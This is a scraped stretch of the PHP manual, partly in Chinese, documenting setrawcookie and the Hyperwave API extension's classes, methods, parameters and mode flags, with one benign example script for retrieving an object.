add a note add a note

后退 | 起点 | 前进
headers_sent | 上一级 | setrawcookie


setrawcookie

(PHP 5)

setrawcookie -- 发送一个其值未经 urlencode 编码的 cookie

说明

bool setrawcookie ( string name [, string value [, int expire [, string path [, string domain [, bool secure]]]]] )

setrawcookie() 和 setcookie() 完全相同，只除了 cookie 的值在向浏览器发送时不会自动被 urlencode 编码。

参见 header()，setcookie() 和 cookie 一章。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
setcookie | 上一级 | Hyperwave API Functions


Hyperwave API Functions

PHP 手册
后退 前进

XLVIII. Hyperwave API Functions

简介

Hyperwave has been developed at IICM in Graz. It started with the name Hyper-G and changed to Hyperwave when it was commercialised (in 1996).

Hyperwave is not free software. The current version, 5.5, is available at http://www.hyperwave.com/. A time limited version can be ordered for free (30 days).

See also the Hyperwave module.

Hyperwave is an information system similar to a database (HIS, Hyperwave Information Server). Its focus is the storage and management of documents. A document can be any possible piece of data that may as well be stored in file. Each document is accompanied by its object record. The object record contains meta data for the document. The meta data is a list of attributes which can be extended by the user. Certain attributes are always set by the Hyperwave server, other may be modified by the user.

需求

Since 2001 there is a Hyperwave SDK available. It supports Java, JavaScript and C++. This PHP Extension is based on the C++ interface. In order to activate the hwapi support in PHP you will have to install the Hyperwave SDK first.

安装

After installing the Hyperwave SDK, configure PHP with --with-hwapi[=DIR].

Integration with Apache

The integration with Apache and possible other servers is already described in the Hyperwave module which has been the first extension to connect a Hyperwave Server.

运行时配置

这些函数的行为受 php.ini 的影响。

表格 1. Hyperwave API configuration options

Name | Default | Changeable | Changelog
hwapi.allow_persistent | "0" | PHP_INI_SYSTEM |
有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

本扩展模块未定义任何常量。

Classes

The API provided by the HW_API extension is fully object oriented. It is very similar to the C++ interface of the Hyperwave SDK. It consist of the following classes.

  • HW_API

  • HW_API_Object

  • HW_API_Attribute

  • HW_API_Error

  • HW_API_Content

  • HW_API_Reason

Some basic classes like HW_API_String, HW_API_String_Array, etc., which exist in the Hyperwave SDK have not been implemented since PHP has powerful replacements for them.

Each class has certain method, whose names are identical to its counterparts in the Hyperwave SDK. Passing arguments to this function differs from all the other PHP extensions but is close to the C++ API of the HW SDK. Instead of passing several parameters they are all put into an associated array and passed as one parameter. The names of the keys are identical to those documented in the HW SDK. The common parameters are listed below. If other parameters are required they will be documented if needed.

  • objectIdentifier The name or id of an object, e.g. "rootcollection", "0x873A8768 0x00000002".

  • parentIdentifier The name or id of an object which is considered to be a parent.

  • object An instance of class HW_API_Object.

  • parameters An instance of class HW_API_Object.

  • version The version of an object.

  • mode An integer value determine the way an operation is executed.

  • attributeSelector Any array of strings, each containing a name of an attribute. This is used if you retrieve the object record and want to include certain attributes.

  • objectQuery A query to select certain object out of a list of objects. This is used to reduce the number of objects which was delivered by a function like hw_api->children() or hw_api->find().

注: Methods returning boolean can return TRUE, FALSE or HW_API_Error object.

目录
hw_api_attribute->key -- Returns key of the attribute
hw_api_attribute->langdepvalue -- Returns value for a given language
hw_api_attribute->value -- Returns value of the attribute
hw_api_attribute->values -- Returns all values of the attribute
hw_api_attribute -- Creates instance of class hw_api_attribute
hw_api->checkin -- Checks in an object
hw_api->checkout -- Checks out an object
hw_api->children -- Returns children of an object
hw_api_content->mimetype -- Returns mimetype
hw_api_content->read -- Read content
hw_api->content -- Returns content of an object
hw_api->copy -- Copies physically
hw_api->dbstat -- Returns statistics about database server
hw_api->dcstat -- Returns statistics about document cache server
hw_api->dstanchors -- Returns a list of all destination anchors
hw_api->dstofsrcanchor -- Returns destination of a source anchor
hw_api_error->count -- Returns number of reasons
hw_api_error->reason -- Returns reason of error
hw_api->find -- Search for objects
hw_api->ftstat -- Returns statistics about fulltext server
hwapi_hgcsp -- Returns object of class hw_api
hw_api->hwstat -- Returns statistics about Hyperwave server
hw_api->identify -- Log into Hyperwave Server
hw_api->info -- Returns information about server configuration
hw_api->insert -- Inserts a new object
hw_api->insertanchor -- Inserts a new object of type anchor
hw_api->insertcollection -- Inserts a new object of type collection
hw_api->insertdocument -- Inserts a new object of type document
hw_api->link -- Creates a link to an object
hw_api->lock -- Locks an object
hw_api->move -- Moves object between collections
hw_api_content -- Create new instance of class hw_api_content
hw_api_object->assign -- Clones object
hw_api_object->attreditable -- Checks whether an attribute is editable
hw_api_object->count -- Returns number of attributes
hw_api_object->insert -- Inserts new attribute
hw_api_object -- Creates a new instance of class hw_api_object
hw_api_object->remove -- Removes attribute
hw_api_object->title -- Returns the title attribute
hw_api_object->value -- Returns value of attribute
hw_api->object -- Retrieve attribute information
hw_api->objectbyanchor -- Returns the object an anchor belongs to
hw_api->parents -- Returns parents of an object
hw_api_reason->description -- Returns description of reason
hw_api_reason->type -- Returns type of reason
hw_api->remove -- Delete an object
hw_api->replace -- Replaces an object
hw_api->setcommittedversion -- Commits version other than last version
hw_api->srcanchors -- Returns a list of all source anchors
hw_api->srcsofdst -- Returns source of a destination object
hw_api->unlock -- Unlocks a locked object
hw_api->user -- Returns the own user object
hw_api->userlist -- Returns a list of all logged in users

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
setrawcookie | 上一级 | hw_api_attribute->key


hw_api_attribute->key

(no version information, might be only in CVS)

hw_api_attribute->key -- Returns key of the attribute

Description

string hw_api_attribute->key ( void )

Returns the name of the attribute.

See also hwapi_attribute_value().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Hyperwave API Functions | 上一级 | hw_api_attribute->langdepvalue


hw_api_attribute->langdepvalue

(no version information, might be only in CVS)

hw_api_attribute->langdepvalue -- Returns value for a given language

Description

string hw_api_attribute->langdepvalue ( string language )

Returns the value in the given language of the attribute.

See also hwapi_attribute_value().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api_attribute->key | 上一级 | hw_api_attribute->value


hw_api_attribute->value

(no version information, might be only in CVS)

hw_api_attribute->value -- Returns value of the attribute

Description

string hw_api_attribute->value ( void )

Returns the value of the attribute.

See also hwapi_attribute_key(), hwapi_attribute_values().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api_attribute->langdepvalue | 上一级 | hw_api_attribute->values


hw_api_attribute->values

(no version information, might be only in CVS)

hw_api_attribute->values -- Returns all values of the attribute

Description

array hw_api_attribute->values ( void )

Returns all values of the attribute as an array of strings.

See also hwapi_attribute_value().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api_attribute->value | 上一级 | hw_api_attribute


hw_api_attribute

(no version information, might be only in CVS)

hw_api_attribute -- Creates instance of class hw_api_attribute

Description

HW_API_Attribute hw_api_attribute ( [string name [, string value]] )

Creates a new instance of hw_api_attribute with the given name and value.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api_attribute->values | 上一级 | hw_api->checkin


hw_api->checkin

(no version information, might be only in CVS)

hw_api->checkin -- Checks in an object

Description

bool hw_api->checkin ( array parameter )

This function checks in an object or a whole hierarchy of objects. The parameters array contains the required element 'objectIdentifier' and the optional element 'version', 'comment', 'mode' and 'objectQuery'. 'version' sets the version of the object. It consists of the major and minor version separated by a period. If the version is not set, the minor version is incremented. 'mode' can be one of the following values:

HW_API_CHECKIN_NORMAL

Checks in and commits the object. The object must be a document.

HW_API_CHECKIN_RECURSIVE

If the object to check in is a collection, all children will be checked in recursively if they are documents. Trying to check in a collection would result in an error.

HW_API_CHECKIN_FORCE_VERSION_CONTROL

Checks in an object even if it is not under version control.

HW_API_CHECKIN_REVERT_IF_NOT_CHANGED

Check if the new version is different from the last version. Unless this is the case the object will be checked in.

HW_API_CHECKIN_KEEP_TIME_MODIFIED

Keeps the time modified from the most recent object.

HW_API_CHECKIN_NO_AUTO_COMMIT

The object is not automatically committed on check-in.

See also hwapi_checkout().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api_attribute | 上一级 | hw_api->checkout


hw_api->checkout

(no version information, might be only in CVS)

hw_api->checkout -- Checks out an object

Description

bool hw_api->checkout ( array parameter )

This function checks out an object or a whole hierarchy of objects. The parameters array contains the required element 'objectIdentifier' and the optional element 'version', 'mode' and 'objectQuery'. 'mode' can be one of the following values:

HW_API_CHECKIN_NORMAL

Checks out an object. The object must be a document.

HW_API_CHECKIN_RECURSIVE

If the object to check out is a collection, all children will be checked out recursively if they are documents. Trying to check out a collection would result in an error.

See also hwapi_checkin().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api->checkin | 上一级 | hw_api->children


hw_api->children

(no version information, might be only in CVS)

hw_api->children -- Returns children of an object

Description

array hw_api->children ( array parameter )

Retrieves the children of a collection or the attributes of a document. The children can be further filtered by specifying an object query. The parameter array contains the required elements 'objectIdentifier' and the optional elements 'attributeSelector' and 'objectQuery'.

The return value is an array of objects of type HW_API_Object or HW_API_Error.

See also hwapi_parents().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api->checkout | 上一级 | hw_api_content->mimetype


hw_api_content->mimetype

(no version information, might be only in CVS)

hw_api_content->mimetype -- Returns mimetype

Description

string hw_api_content->mimetype ( void )

Returns the mimetype of the content.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api->children | 上一级 | hw_api_content->read


hw_api_content->read

(no version information, might be only in CVS)

hw_api_content->read -- Read content

Description

string hw_api_content->read ( string buffer, int len )

Reads len bytes from the content into the given buffer.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api_content->mimetype | 上一级 | hw_api->content


hw_api->content

(no version information, might be only in CVS)

hw_api->content -- Returns content of an object

Description

HW_API_Content hw_api->content ( array parameter )

This function returns the content of a document as an object of type hw_api_content. The parameter array contains the required elements 'objectidentifier' and the optional element 'mode'. The mode can be one of the constants HW_API_CONTENT_ALLLINKS, HW_API_CONTENT_REACHABLELINKS or HW_API_CONTENT_PLAIN. HW_API_CONTENT_ALLLINKS means to insert all anchors even if the destination is not reachable. HW_API_CONTENT_REACHABLELINKS tells hw_api_content() to insert only reachable links and HW_API_CONTENT_PLAIN will lead to document without any links.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api_content->read | 上一级 | hw_api->copy


hw_api->copy

(no version information, might be only in CVS)

hw_api->copy -- Copies physically

Description

hw_api_object hw_api->copy ( array parameter )

This function will make a physical copy including the content if it exists and returns the new object or an error object. The parameter array contains the required elements 'objectIdentifier' and 'destinationParentIdentifier'. The optional parameter is 'attributeSelector'`

See also hwapi_move(), hwapi_link().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api->content | 上一级 | hw_api->dbstat


hw_api->dbstat

(no version information, might be only in CVS)

hw_api->dbstat -- Returns statistics about database server

Description

hw_api_object hw_api->dbstat ( array parameter )

See also hwapi_dcstat(),
         hwapi_hwstat(),
         hwapi_ftstat().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api->copy | 上一级 | hw_api->dcstat


hw_api->dcstat

(no version information, might be only in CVS)

hw_api->dcstat -- Returns statistics about document cache server

Description

hw_api_object hw_api->dcstat ( array parameter )

See also hwapi_hwstat(),
         hwapi_dbstat(),
         hwapi_ftstat().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api->dbstat | 上一级 | hw_api->dstanchors


hw_api->dstanchors

(no version information, might be only in CVS)

hw_api->dstanchors -- Returns a list of all destination anchors

Description

array hw_api->dstanchors ( array parameter )

Retrieves all destination anchors of an object. The parameter array contains the required element 'objectIdentifier' and the optional elements 'attributeSelector' and 'objectQuery'.

See also hwapi_srcanchors().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api->dcstat | 上一级 | hw_api->dstofsrcanchor


hw_api->dstofsrcanchor

(no version information, might be only in CVS)

hw_api->dstofsrcanchor -- Returns destination of a source anchor

Description

hw_api_object hw_api->dstofsrcanchor ( array parameter )

Retrieves the destination object pointed by the specified source anchors. The destination object can either be a destination anchor or a whole document. The parameters array contains the required element 'objectIdentifier' and the optional element 'attributeSelector'.

See also hwapi_srcanchors(),
         hwapi_dstanchors(),
         hwapi_objectbyanchor().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api->dstanchors | 上一级 | hw_api_error->count


hw_api_error->count

(no version information, might be only in CVS)

hw_api_error->count -- Returns number of reasons

Description

int hw_api_error->count ( void )

Returns the number of error reasons.

See also hwapi_error_reason().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api->dstofsrcanchor | 上一级 | hw_api_error->reason


hw_api_error->reason

(no version information, might be only in CVS)

hw_api_error->reason -- Returns reason of error

Description

HW_API_Reason hw_api_error->reason ( void )

Returns the first error reason.

See also hwapi_error_count().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api_error->count | 上一级 | hw_api->find


hw_api->find

(no version information, might be only in CVS)

hw_api->find -- Search for objects

Description

array hw_api->find ( array parameter )

This functions searches for objects either by executing a key or/and full text query. The found objects can further be filtered by an optional object query. They are sorted by their importance. The second search operation is relatively slow and its result can be limited to a certain number of hits. This allows to perform an incremental search, each returning just a subset of all found documents, starting at a given index. The parameter array contains the 'keyquery' or/and 'fulltextquery' depending on who you would like to search. Optional parameters are 'objectquery', 'scope', 'languages' and 'attributeselector'. In case of an incremental search the optional parameters 'startIndex', numberOfObjectsToGet' and 'exactMatchUnit' can be passed.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api_error->reason | 上一级 | hw_api->ftstat


hw_api->ftstat

(no version information, might be only in CVS)

hw_api->ftstat -- Returns statistics about fulltext server

Description

hw_api_object hw_api->ftstat ( array parameter )

See also hwapi_dcstat(),
         hwapi_dbstat(),
         hwapi_hwstat().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api->find | 上一级 | hwapi_hgcsp


hwapi_hgcsp

(no version information, might be only in CVS)

hwapi_hgcsp -- Returns object of class hw_api

Description

HW_API hwapi_hgcsp ( string hostname [, int port] )

Opens a connection to the Hyperwave server on host hostname. The protocol used is HGCSP. If you do not pass a port number, 418 is used.

See also hwapi_hwtp().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api->ftstat | 上一级 | hw_api->hwstat


hw_api->hwstat

(no version information, might be only in CVS)

hw_api->hwstat -- Returns statistics about Hyperwave server

Description

hw_api_object hw_api->hwstat ( array parameter )

See also hwapi_dcstat(),
         hwapi_dbstat(),
         hwapi_ftstat().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hwapi_hgcsp | 上一级 | hw_api->identify


hw_api->identify

(no version information, might be only in CVS)

hw_api->identify -- Log into Hyperwave Server

Description

bool hw_api->identify ( array parameter )

Logs into the Hyperwave Server. The parameter array must contain the elements 'username' and 'password'.

The return value will be an object of type HW_API_Error if identification failed or TRUE if it was successful.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api->hwstat | 上一级 | hw_api->info


hw_api->info

(no version information, might be only in CVS)

hw_api->info -- Returns information about server configuration

Description

array hw_api->info ( array parameter )

See also hwapi_dcstat(),
         hwapi_dbstat(),
         hwapi_ftstat(),
         hwapi_hwstat().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api->identify | 上一级 | hw_api->insert


hw_api->insert

(no version information, might be only in CVS)

hw_api->insert -- Inserts a new object

Description

hw_api_object hw_api->insert ( array parameter )

Insert a new object. The object type can be user, group, document or anchor. Depending on the type other object attributes has to be set. The parameter array contains the required elements 'object' and 'content' (if the object is a document) and the optional parameters 'parameters', 'mode' and 'attributeSelector'. The 'object' must contain all attributes of the object. 'parameters' is an object as well holding further attributes like the destination (attribute key is 'Parent'). 'content' is the content of the document. 'mode' can be a combination of the following flags:

HW_API_INSERT_NORMAL

The object in inserted into the server.

HW_API_INSERT_FORCE_VERSION_CONTROL

HW_API_INSERT_AUTOMATIC_CHECKOUT

HW_API_INSERT_PLAIN

HW_API_INSERT_KEEP_TIME_MODIFIED

HW_API_INSERT_DELAY_INDEXING

See also hwapi_replace().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api->info | 上一级 | hw_api->insertanchor


hw_api->insertanchor

(no version information, might be only in CVS)

hw_api->insertanchor -- Inserts a new object of type anchor

Description

hw_api_object hw_api->insertanchor ( array parameter )

This function is a shortcut for hwapi_insert(). It inserts an object of type anchor and sets some of the attributes required for an anchor. The parameter array contains the required elements 'object' and 'documentIdentifier' and the optional elements 'destinationIdentifier', 'parameter', 'hint' and 'attributeSelector'. The 'documentIdentifier' specifies the document where the anchor shall be inserted. The target of the anchor is set in 'destinationIdentifier' if it already exists. If the target does not exists the element 'hint' has to be set to the name of object which is supposed to be inserted later. Once it is inserted the anchor target is resolved automatically.

See also hwapi_insertdocument(),
         hwapi_insertcollection(),
         hwapi_insert().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api->insert | 上一级 | hw_api->insertcollection


hw_api->insertcollection

(no version information, might be only in CVS)

hw_api->insertcollection -- Inserts a new object of type collection

Description

hw_api_object hw_api->insertcollection ( array parameter )

This function is a shortcut for hwapi_insert(). It inserts an object of type collection and sets some of the attributes required for a collection. The parameter array contains the required elements 'object' and 'parentIdentifier' and the optional elements 'parameter' and 'attributeSelector'. See hwapi_insert() for the meaning of each element.

See also hwapi_insertdocument(),
         hwapi_insertanchor(),
         hwapi_insert().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api->insertanchor | 上一级 | hw_api->insertdocument


hw_api->insertdocument

(no version information, might be only in CVS)

hw_api->insertdocument -- Inserts a new object of type document

Description

hw_api_object hw_api->insertdocument ( array parameter )

This function is a shortcut for hwapi_insert(). It inserts an object with content and sets some of the attributes required for a document. The parameter array contains the required elements 'object', 'parentIdentifier' and 'content' and the optional elements 'mode', 'parameter' and 'attributeSelector'. See hwapi_insert() for the meaning of each element.

See also hwapi_insert()
         hwapi_insertanchor(),
         hwapi_insertcollection().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api->insertcollection | 上一级 | hw_api->link


hw_api->link

(no version information, might be only in CVS)

hw_api->link -- Creates a link to an object

Description

bool hw_api->link ( array parameter )

Creates a link to an object. Accessing this link is like accessing the object to links points to. The parameter array contains the required elements 'objectIdentifier' and 'destinationParentIdentifier'. 'destinationParentIdentifier' is the target collection.

The function returns TRUE on success or an error object.

See also hwapi_copy().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api->insertdocument | 上一级 | hw_api->lock


hw_api->lock

(no version information, might be only in CVS)

hw_api->lock -- Locks an object

Description

bool hw_api->lock ( array parameter )

Locks an object for exclusive editing by the user calling this function. The object can be only unlocked by this user or the system user. The parameter array contains the required element 'objectIdentifier' and the optional parameters 'mode' and 'objectquery'. 'mode' determines how an object is locked. HW_API_LOCK_NORMAL means, an object is locked until it is unlocked. HW_API_LOCK_RECURSIVE is only valid for collection and locks all objects within the collection and possible subcollections. HW_API_LOCK_SESSION means, an object is locked only as long as the session is valid.

See also hwapi_unlock().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api->link | 上一级 | hw_api->move


hw_api->move

(no version information, might be only in CVS)

hw_api->move -- Moves object between collections

Description

bool hw_api->move ( array parameter )

See also hw_objrec2array().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api->lock | 上一级 | hw_api_content


hw_api_content

(no version information, might be only in CVS)

hw_api_content -- Create new instance of class hw_api_content

Description

HW_API_Content hw_api_content ( string content, string mimetype )

Creates a new content object from the string content. The mimetype is set to mimetype.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api->move | 上一级 | hw_api_object->assign


hw_api_object->assign

(no version information, might be only in CVS)

hw_api_object->assign -- Clones object

Description

bool hw_api_object->assign ( array parameter )

Clones the attributes of an object.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api_content | 上一级 | hw_api_object->attreditable


hw_api_object->attreditable

(no version information, might be only in CVS)

hw_api_object->attreditable -- Checks whether an attribute is editable

Description

bool hw_api_object->attreditable ( array parameter )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api_object->assign | 上一级 | hw_api_object->count


hw_api_object->count

(no version information, might be only in CVS)

hw_api_object->count -- Returns number of attributes

Description

int hw_api_object->count ( array parameter )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api_object->attreditable | 上一级 | hw_api_object->insert


hw_api_object->insert

(no version information, might be only in CVS)

hw_api_object->insert -- Inserts new attribute

Description

bool hw_api_object->insert ( HW_API_Attribute attribute )

Adds an attribute to the object. Returns TRUE on success and otherwise FALSE.

See also hwapi_object_remove().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api_object->count | 上一级 | hw_api_object


hw_api_object

(no version information, might be only in CVS)

hw_api_object -- Creates a new instance of class hw_api_object

Description

hw_api_object hw_api_object ( array parameter )

See also hwapi_lock().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api_object->insert | 上一级 | hw_api_object->remove


hw_api_object->remove

(no version information, might be only in CVS)

hw_api_object->remove -- Removes attribute

Description

bool hw_api_object->remove ( string name )

Removes the attribute with the given name. Returns TRUE on success and otherwise FALSE.

See also hwapi_object_insert().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api_object | 上一级 | hw_api_object->title


hw_api_object->title

(no version information, might be only in CVS)

hw_api_object->title -- Returns the title attribute

Description

string hw_api_object->title ( array parameter )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api_object->remove | 上一级 | hw_api_object->value


hw_api_object->value

(no version information, might be only in CVS)

hw_api_object->value -- Returns value of attribute

Description

string hw_api_object->value ( string name )

Returns the value of the attribute with the given name or FALSE if an error occurred.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api_object->title | 上一级 | hw_api->object


hw_api->object

(no version information, might be only in CVS)

hw_api->object -- Retrieve attribute information

Description

hw_api_object hw_api->object ( array parameter )

This function retrieves the attribute information of an object of any version. It will not return the document content. The parameter array contains the required elements 'objectIdentifier' and the optional elements 'attributeSelector' and 'version'.

The returned object is an instance of class HW_API_Object on success or HW_API_Error if an error occurred.

This simple example retrieves an object and checks for errors.

例子 1. Retrieve an object

<?php
function handle_error($error)
{
  $reason = $error->reason(0);
  echo "Type: <b>";
  switch ($reason->type()) {
    case 0:
      echo "Error";
      break;
    case 1:
      echo "Warning";
      break;
    case 2:
      echo "Message";
      break;
  }
  echo "</b><br />\n";
  echo "Description: " . $reason->description("en") . "<br />\n";
}

function list_attr($obj)
{
  echo "<table>\n";
  $count = $obj->count();
  for ($i=0; $i<$count; $i++) {
    $attr = $obj->attribute($i);
    printf("<tr><td align=\"right\" bgcolor=\"#c0c0c0\"><b>%s</b></td><td bgcolor=\"#F0F0F0\">%s</td></tr>\n",
             $attr->key(), $attr->value());
  }
  echo "</table>\n";
}

$hwapi = hwapi_hgcsp($g_config[HOSTNAME]);
$parms = array("objectIdentifier"=>"rootcollection", "attributeSelector"=>array("Title", "Name", "DocumentType"));
$root = $hwapi->object($parms);
if (get_class($root) == "HW_API_Error") {
  handle_error($root);
  exit;
}
list_attr($root);
?>

See also hwapi_content().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api_object->value | 上一级 | hw_api->objectbyanchor


hw_api->objectbyanchor

(no version information, might be only in CVS)

hw_api->objectbyanchor -- Returns the object an anchor belongs to

Description

hw_api_object hw_api->objectbyanchor ( array parameter )

This function retrieves an object the specified anchor belongs to. The parameter array contains the required element 'objectIdentifier' and the optional element 'attributeSelector'.

See also hwapi_dstofsrcanchor(),
         hwapi_srcanchors(),
         hwapi_dstanchors().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api->object | 上一级 | hw_api->parents


hw_api->parents

(no version information, might be only in CVS)

hw_api->parents -- Returns parents of an object

Description

array hw_api->parents ( array parameter )

Retrieves the parents of an object. The parents can be further filtered by specifying an object query. The parameter array contains the required elements 'objectidentifier' and the optional elements 'attributeselector' and 'objectquery'.

The return value is an array of objects of type HW_API_Object or HW_API_Error.

See also hwapi_children().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api->objectbyanchor | 上一级 | hw_api_reason->description


hw_api_reason->description

(no version information, might be only in CVS)

hw_api_reason->description -- Returns description of reason

Description

string hw_api_reason->description ( void )

Returns the description of a reason

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api->parents | 上一级 | hw_api_reason->type


hw_api_reason->type

(no version information, might be only in CVS)

hw_api_reason->type -- Returns type of reason

Description

HW_API_Reason hw_api_reason->type ( void )

Returns the type of a reason.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api_reason->description | 上一级 | hw_api->remove


hw_api->remove

(no version information, might be only in CVS)

hw_api->remove -- Delete an object

Description

bool hw_api->remove ( array parameter )

Removes an object from the specified parent. Collections will be removed recursively. You can pass an optional object query to remove only those objects which match the query. An object will be deleted physically if it is the last instance. The parameter array contains the required elements 'objectidentifier' and 'parentidentifier'. If you want to remove a user or group 'parentidentifier' can be skipped. The optional parameter 'mode' determines how the deletion is performed. In normal mode the object will not be removed physically until all instances are removed. In physical mode all instances of the object will be deleted immediately. In removelinks mode all references to and from the objects will be deleted as well. In nonrecursive the deletion is not performed recursive. Removing a collection which is not empty will cause an error.

See also hwapi_move().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api_reason->type | 上一级 | hw_api->replace


hw_api->replace

(no version information, might be only in CVS)

hw_api->replace -- Replaces an object

Description

hw_api_object hw_api->replace ( array parameter )

Replaces the attributes and the content of an object The parameter array contains the required elements 'objectIdentifier' and 'object' and the optional parameters 'content', 'parameters', 'mode' and 'attributeSelector'. 'objectIdentifier' contains the object to be replaced. 'object' contains the new object. 'content' contains the new content. 'parameters' contain extra information for HTML documents. HTML_Language is the letter abbreviation of the language of the title. HTML_Base sets the base attribute of the HTML document. 'mode' can be a combination of the following flags:

HW_API_REPLACE_NORMAL

The object on the server is replace with the object passed.

HW_API_REPLACE_FORCE_VERSION_CONTROL

HW_API_REPLACE_AUTOMATIC_CHECKOUT

HW_API_REPLACE_AUTOMATIC_CHECKIN

HW_API_REPLACE_PLAIN

HW_API_REPLACE_REVERT_IF_NOT_CHANGED

HW_API_REPLACE_KEEP_TIME_MODIFIED

See also hwapi_insert().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api->remove | 上一级 | hw_api->setcommittedversion


hw_api->setcommittedversion

(no version information, might be only in CVS)

hw_api->setcommittedversion -- Commits version other than last version

Description

hw_api_object hw_api->setcommittedversion ( array parameter )

Commits a version of a document. The committed version is the one which is visible to users with read access. By default the last version is the committed version.

See also hwapi_checkin(),
         hwapi_checkout(),
         hwapi_revert().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api->replace | 上一级 | hw_api->srcanchors


hw_api->srcanchors

(no version information, might be only in CVS)

hw_api->srcanchors -- Returns a list of all source anchors

Description

array hw_api->srcanchors ( array parameter )

Retrieves all source anchors of an object. The parameter array contains the required element 'objectIdentifier' and the optional elements 'attributeSelector' and 'objectQuery'.

See also hwapi_dstanchors().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api->setcommittedversion | 上一级 | hw_api->srcsofdst


hw_api->srcsofdst

(no version information, might be only in CVS)

hw_api->srcsofdst -- Returns source of a destination object

Description

array hw_api->srcsofdst ( array parameter )

Retrieves all the source anchors pointing to the specified destination. The destination object can either be a destination anchor or a whole document. The parameters array contains the required element 'objectIdentifier' and the optional element 'attributeSelector' and 'objectQuery'. The function returns an array of objects or an error.

See also hwapi_dstofsrcanchor().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api->srcanchors | 上一级 | hw_api->unlock


hw_api->unlock

(no version information, might be only in CVS)

hw_api->unlock -- Unlocks a locked object

Description

bool hw_api->unlock ( array parameter )

Unlocks a locked object. Only the user who has locked the object and the system user may unlock an object. The parameter array contains the required element 'objectIdentifier' and the optional parameters 'mode' and 'objectquery'. The meaning of 'mode' is the same as in function hwapi_lock().

Returns TRUE on success or an object of class HW_API_Error.

See also hwapi_lock().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api->srcsofdst | 上一级 | hw_api->user


hw_api->user

(no version information, might be only in CVS)

hw_api->user -- Returns the own user object

Description

hw_api_object hw_api->user ( array parameter )

See also hwapi_userlist().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
hw_api->unlock | 上一级 | hw_api->userlist


hw_api->userlist

(no version information, might be only in CVS)

